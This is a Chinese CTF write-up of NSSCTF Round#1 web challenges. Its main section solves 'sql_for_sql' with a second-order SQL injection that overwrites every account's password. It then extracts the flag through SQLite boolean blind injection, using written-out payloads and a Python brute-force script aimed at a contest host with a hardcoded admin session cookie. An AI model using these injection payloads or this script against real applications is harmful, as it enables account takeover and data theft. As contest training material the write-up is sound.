NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解

[nss个人赛]basic_check(复现)

(83条消息) Nikto安装和使用_半砖的博客-CSDN博客_nikto安装

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第1张图片

参考:https://blog.51cto.com/dearch/2053703

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第2张图片

单纯复现比较简单

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第3张图片

[nssctf个人赛]sql_for_sql

站点功能是:

  • 登录
  • 注册
  • 改密码

登录和注册均没有注入点

考虑改密码的时候会二次注入

结果的确发现了异常,无论是用户名一开始注册的时候加了单引号,还是新密码用了单引号,状态码会报500,

推测改密码的后台sql

select passwd from username='你的用户名'

if passwd==passwd:

UPDATE table_name
SET passwd=value1
WHERE name=你的用户名;

或者有可能直接是:

UPDATE table_name
SET passwd=value1
WHERE name=你的用户名 and passwd=旧密码;

后面看到了注释

image-20220403150758319

由于使用--+注释的话会注释掉一行,所以我考虑/**/来有效控制注释的范围

UPDATE table_name
SET password='123',username=database()/*' WHERE username=*/WHERE username='thai';

所以

value1 =123',username=database()/*

value2 =*/WHERE username='thai

发现执行成功不会报500

但是这样陷入了无法重新登录的陷阱,因为用户名改了

忽然想到一点

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第4张图片

倘若使用–+注释的话,注释掉后面一整行,就达成了上面的条件,也就是我们修改了所有用户包括admin的密码

payload:新密码

' or 1 --+
或者
' or 1 /*

然后admin的密码就被改为1了,登录后看到

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第5张图片

说明事情没有那么简单,之后由于发现井号注释符无法使用,所以推测后台其实不是mysql(那前面可真是歪打正着)

由于插件检测到使用flask框架,python的网络框架都喜欢结合sqlite3进行开发,于是尝试–发现其可以注释,验证了数据库是sqlite3

然后在admin这个查询这里尝试注入,(可能是对admin的监控不利,没有像前面登录框那样有过滤),很快发现存在盲注风险:

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第6张图片

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第7张图片

网上参考了一篇博客,尝试注入版本号

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ow5obWZm-1649075309761)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220403154203966.png)]

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第8张图片

可以,说明版本号是3

payload(查表名):

select case when substr((select group_concat(tbl_name) from sqlite_master where type = 'table' and tbl_name not like 'sqlite_%') , 1,1)='u' then 1 else 0 end;

查出来是user,flag

最终payload,当时这个flag字段是猜的,然后爆破爆了6分钟左右,压线12:59分交flag

"id":"-1 or (case when substr((select flag from flag) ,1,1)='a' then 1=1 else 1=2 end)/* --"

值得注意的是sqlite3没有ascii()之类的函数,但是区分大小写

贴个脚本

import requests
import time

url="http://124.221.54.221:28336/query"

proxies = { "http": None, "https": None}		#3.7以后要添加代理池

headers = {
         "cookie": "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YkkjXA.WbHYPyUwjK1LKWfvl5guk4u3QdQ"
     }

flag=''

for pos in range(1,10000):
	for asci in range(32,126):

		data={
		#id=-1 or (case when(substr(sqlite_version(),1,1)='3') then 1=1 else 1=2 end)/* --
		#"id":"-1 or (case when(substr(sqlite_version(),"+str(pos)+",1)='"+str(chr(asci))+"') then 1=1 else 1=2 end)/* --"
		"id":"-1 or (case when substr((select flag from flag) ,"+str(pos)+",1)='"+str(chr(asci))+"' then 1=1 else 1=2 end)/* --"
	#"id":"if("+str(asci)+"=ascii(substr(database(),"+str(pos)+",1)),1,2)"
	#"id":"if("+str(asci)+"=ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),"+str(pos)+",1)),1,2)"
}
		print("asci now is "+str(asci))
		#time.sleep(0.1)
		resp = requests.post(url=url,data=data,proxies=proxies,headers=headers);
		if 'exist'in resp.text:
			print("get! the asci now is "+str(asci))
			flag = flag + chr(asci)
			print(flag)
			break;
		if asci==126:
			exit(0)



print(flag)

NSSCTF Round#1 Basic [nss2022年4月3日个人赛]web的题解_第9张图片

你可能感兴趣的:(web安全,php,apache,flask,数据仓库)